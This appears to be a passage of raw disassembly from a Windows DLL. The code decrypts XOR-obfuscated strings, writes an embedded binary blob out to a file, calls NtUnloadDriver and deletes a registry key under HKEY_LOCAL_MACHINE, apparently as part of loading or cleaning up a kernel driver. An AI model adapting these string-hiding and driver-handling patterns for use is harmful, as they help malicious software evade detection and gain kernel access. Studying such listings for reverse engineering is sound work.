lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000853e
mov rcx, r8
call fcn.1800271e0
mov rax, r14
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [rax], 0
mov edi, ebx
jmp 0x18000e61c
movups xmm0, xmmword [0x18002a9d0]
movups xmmword [rbp + 0x11c0], xmm0
movups xmm1, xmmword [0x18002a9e0]
movups xmmword [rbp + 0x11d0], xmm1
mov eax, dword [0x18002a9f0]
mov dword [rbp + 0x11e0], eax
movzx eax, word [0x18002a9f4]
mov word [rbp + 0x11e4], ax
movzx eax, byte [0x18002a9f6]
mov byte [rbp + 0x11e6], al
mov r8d, ebx
cmp r15d, 2
jl 0x1800062d5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x11c4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1800061e0
cmp r8d, 0x27
jge 0x180006323
movsxd rax, r8d
lea r9, [rbp + 0x11c0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1800062f0
lea rax, [rbp + 0x11c0]
mov qword [rbp + 0x6a0], rax
lea rcx, [rbp + 0x11c0]
mov rdi, 0xffffffffffffffff
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x180006342
mov qword [rbp + 0x6a8], rax
movups xmm6, xmmword [rbp + 0x6a0]
call fcn.180026890
movaps xmmword [rbp - 0x60], xmm6
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rbp + 0x510]
call fcn.180002340
nop
lea rcx, [rbp + 0x510]
call fcn.180002f30
movzx esi, al
mov rdx, qword [rbp + 0x528]
cmp rdx, 7
jbe 0x1800063ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000853e
call fcn.1800271e0
movdqu xmmword [rbp + 0x520], xmm15
mov word [rbp + 0x510], bx
test sil, sil
jne 0x180006f3e
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x17c0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x11c0]
lea rcx, [rbp + 0x17c0]
call fcn.18000eca0
nop
mov r8d, 0x374a0
lea rdx, [0x1800500f0]
lea rcx, [rbp + 0x17c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x17c8]
call fcn.1800101c0
test rax, rax
jne 0x180006459
mov rax, qword [rbp + 0x17c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x17c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0x11c0]
mov qword [rbp + 0x6b0], rax
lea rcx, [rbp + 0x11c0]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x180006471
mov qword [rbp + 0x6b8], rax
movups xmm6, xmmword [rbp + 0x6b0]
call fcn.180026890
movaps xmmword [rbp - 0x60], xmm6
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rbp + 0x4f0]
call fcn.180002340
nop
lea rcx, [rbp + 0x4f0]
call fcn.180002f30
movzx esi, al
mov rdx, qword [rbp + 0x508]
cmp rdx, 7
jbe 0x1800064f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800064f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f2b
call fcn.1800271e0
movdqu xmmword [rbp + 0x500], xmm15
mov word [rbp + 0x4f0], bx
test sil, sil
jne 0x180006f32
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xec0]
call fcn.18000fea0
mov r14, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x180006d1b
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0x830], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0x840], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0x850], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0x860], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0x864], al
mov r8d, ebx
cmp r15d, 2
jl 0x1800066a5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x834]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1800065b0
cmp r8d, 0x35
jge 0x1800066f3
movsxd rax, r8d
lea r9, [rbp + 0x830]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1800066c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x12b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12c8], xmm1
lea rax, [rbp + 0x830]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180006712
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0x12b8]
call fcn.180011280
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000673d
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x12b8]
call fcn.180010440
lea rdx, [rbp + 0x12b8]
cmp qword [rbp + 0x12d0], 0xf
cmova rdx, qword [rbp + 0x12b8]
lea rcx, [rbp + 0x1530]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x1660]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1660]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xfa0], rbx
mov edx, dword [0x18008a250]
mov rax, qword gs:[0x58]
mov r13d, 4
mov rax, qword [rax + rdx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x1800069d4
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x1800069d4
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x418], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x428], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x438], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x43a], al
mov r8d, ebx
cmp r15d, 2
jl 0x180006935
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x41c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x180006840
cmp r8d, 0x23
jge 0x180006983
movsxd rax, r8d
lea r9, [rbp + 0x418]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x180006950
xorps xmm0, xmm0
movups xmmword [0x18008a2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x18008a2e8], xmm1
lea rax, [rbp + 0x418]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x1800069a0
mov r8, rdi
lea rdx, [rbp + 0x418]
mov rcx, rsi
call fcn.180011280
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
cmp qword [0x18008a2f0], 0xf
cmova rsi, qword [0x18008a2d8]
lea r8, [rbp + 0xfa0]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180006a0c
mov rdx, qword [r14]
mov rcx, qword [rbp + 0xfa0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x180006a2e
mov rcx, qword [rbp + 0xfa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x988]
call fcn.180003080
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x180006a4c
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x6c0], rcx
mov qword [rbp + 0x6c8], rax
movups xmm6, xmmword [rbp + 0x6c0]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x600]
call fcn.1800104e0
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180006a94
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x600]
call fcn.180010440
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rax, qword [rbp + 0x190]
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x6d8], rax
movups xmm6, xmmword [rbp + 0x6d0]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x270]
call fcn.180002340
nop
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 7
cmova rcx, qword [rbp + 0x270]
call fcn.180026f44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18000eb4b
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x180006ba6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ba1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ba1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x280], xmm15
mov word [rbp + 0x270], bx
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x180006bfe
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006bf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006bf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1a0], xmm13
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x180006c56
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006c51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006c51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x610], xmm13
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x9a0]
cmp rdx, 7
jbe 0x180006cb3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x988]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006cae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006cae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x998], xmm15
mov word [rbp + 0x988], bx
mov rdx, qword [rbp + 0x12d0]
cmp rdx, 0xf
jbe 0x180006d0b
inc rdx
mov rcx, qword [rbp + 0x12b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006d06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006d06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x12c8], xmm13
mov byte [rbp + 0x12b8], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x180006d55
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x180006d50
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180006f2b
mov rcx, r8
call fcn.1800271e0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
movups xmm0, xmmword [0x18004a898]
movups xmmword [rbp + 0x318], xmm0
movzx eax, word [0x18004a8c0]
movsd xmm0, qword [0x18004a8b8]
movups xmm1, xmmword [0x18004a8a8]
mov word [rbp + 0x340], ax
movsd qword [rbp + 0x338], xmm0
movups xmmword [rbp + 0x328], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x180006ebd
lea rcx, [rbp + 0x318]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180006dc0
cmp r8d, 0x15
jge 0x180006f07
movsxd rax, r8d
lea r9, [rbp + 0x318]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x180006ed0
lea rcx, [rbp + 0x318]
call fcn.1800158e0
movzx edi, al
lea rcx, [rbp + 0x17c0]
call fcn.1800032e0
movzx edi, dil
jmp 0x18000e61c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x17c0]
call fcn.1800032e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11c0], xmm0
movups xmmword [rbp + 0x11d0], xmm0
mov dword [rbp + 0x11e0], eax
mov word [rbp + 0x11e4], ax
mov byte [rbp + 0x11e6], al
movups xmm0, xmmword [0x18002aac0]
movups xmmword [rbp + 0x2c8], xmm0
mov eax, dword [0x18002aad0]
mov dword [rbp + 0x2d8], eax
movzx eax, byte [0x18002aad4]
mov byte [rbp + 0x2dc], al
mov r8d, ebx
cmp r15d, 2
jl 0x1800070a5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x2cc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180006fb0
cmp r8d, 0x15
jge 0x1800070f3
movsxd rax, r8d
lea r9, [rbp + 0x2c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800070c0
mov eax, dword [0x18002ad30]
mov dword [rbp + 0x148], eax
movzx eax, byte [0x18002ad34]
movups xmm0, xmmword [0x18002ad20]
mov byte [rbp + 0x14c], al
movups xmmword [rbp + 0x138], xmm0
mov r8d, ebx
cmp r15d, 2
jl 0x180007235
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x13c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180007140
cmp r8d, 0x15
jge 0x180007283
movsxd rax, r8d
lea r9, [rbp + 0x138]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x180007250
mov eax, dword [str.hx_]
mov dword [rsp + 0x5c], eax
movzx eax, byte [0x18004a894]
mov byte [rsp + 0x5c], 0x50
xor byte [rsp + 0x5d], 0x39
xor byte [rsp + 0x5e], 0x3a
xor byte [rsp + 0x5f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x60], al
movsd xmm0, qword [str.VMUHWOPSn_:D]
movsd qword [rbp + 0xa8], xmm0
mov eax, dword [0x18002abd8]
mov dword [rbp + 0xb0], eax
movzx eax, byte [0x18002abdc]
mov byte [rbp + 0xb4], al
mov r8d, ebx
cmp r15d, 2
jl 0x1800073cd
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0xa8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800073e0
lea rcx, [rbp + 0xa8]
call fcn.180001d70
test rax, rax
jne 0x1800075e9
movups xmm0, xmmword [str.QWLZPTZ]
movups xmmword [rbp + 0xbf0], xmm0
movups xmm1, xmmword [str._.6__f__j__9:__r_748WLQ_eODMK__b7e3___8k]
movups xmmword [rbp + 0xc00], xmm1
movups xmm0, xmmword [0x18004aba0]
movups xmmword [rbp + 0xc10], xmm0
movups xmm1, xmmword [0x18004abb0]
movups xmmword [rbp + 0xc20], xmm1
cmp r15d, 2
jl 0x180007588
mov edx, ebx
lea rcx, [rbp + 0xbf0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
